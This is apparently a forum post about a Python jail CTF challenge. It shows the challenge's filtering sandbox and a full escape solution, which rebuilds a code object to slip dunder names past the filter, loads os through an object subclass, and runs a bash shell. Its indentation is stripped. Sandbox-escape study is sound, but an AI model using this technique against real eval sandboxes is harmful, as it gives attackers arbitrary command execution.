Let’s discuss Python - Eval Is Evil
.
Nice jail challenge.
It has strict filters to keep you in jail.
#!/usr/bin/env python3
def say_hello():
print("Hello")
def check_code(code):
if "__" in str(code.co_names):
raise Exception("Try again")
for const in code.co_consts:
if hasattr(const, "co_names"):
check_code(const)
BUILTINS = {
"str": str,
"int": int,
"bool": bool,
"bytes": bytes,
"type": type,
"Exception": Exception,
"isinstance": isinstance,
"print": print,
"say_hello": say_hello,
"__import__": lambda *a, **kw: print("Can not import !"),
}
def sandbox(code):
code = compile(code.strip(), "", "exec")
check_code(code)
eval(code, {"__builtins__": BUILTINS}, {})
code = ""
while True:
line = input(">>> ")
code += " \n" + line
while line:
line = input("")
code += " \n" + line
try:
sandbox(code)
except Exception as e:
print(e)
code = ""
This write-up offers insightful information for bypassing filters.
Hack.lu CTF 2023 - Safest Eval (Python jail escape)
Here’s the solution:
async def async_function(): # why async? because we can't deconstruct a normal function
"""In Python2, we could deconstruct a normal function, but in Python3 it's deprecated"""
for subclass in ().AAclassAA.AAbaseAA.AAsubclassesAA(): # ().__class__.__base__.__subclasses__()
try: # try to find the importlib.abc.Loader subclass
return subclass.load_module('os').system('bash')
except:
continue
return None
async_object = async_function()
"""a normal function does not have a cr_frame attribute, so we can't deconstruct it"""
code_object = async_object.cr_frame.f_code # deconstruct the function
CodeType = type(code_object)
new_code_object = CodeType( # reconstruct the function
code_object.co_argcount,
code_object.co_kwonlyargcount,
code_object.co_nlocals,
code_object.co_stacksize,
code_object.co_flags,
code_object.co_code,
code_object.co_consts,
type(())(name.replace("A", "_") for name in code_object.co_names), # replace AA's with __'s
# type(()) indicates a tuple, since the tuple keyword isn't allowed in filter, this is a workaround
#""">>> type(()) == tuple
# True
#"""
code_object.co_varnames,
code_object.co_filename,
code_object.co_name,
code_object.co_firstlineno,
code_object.co_lnotab,
code_object.co_freevars,
code_object.co_cellvars
)
function = type(lambda: None)
coroutine = function(new_code_object, {})() # create the function
print("Escape successful\nEnjoy your bash shell")
print(coroutine.send(None)) # execute the function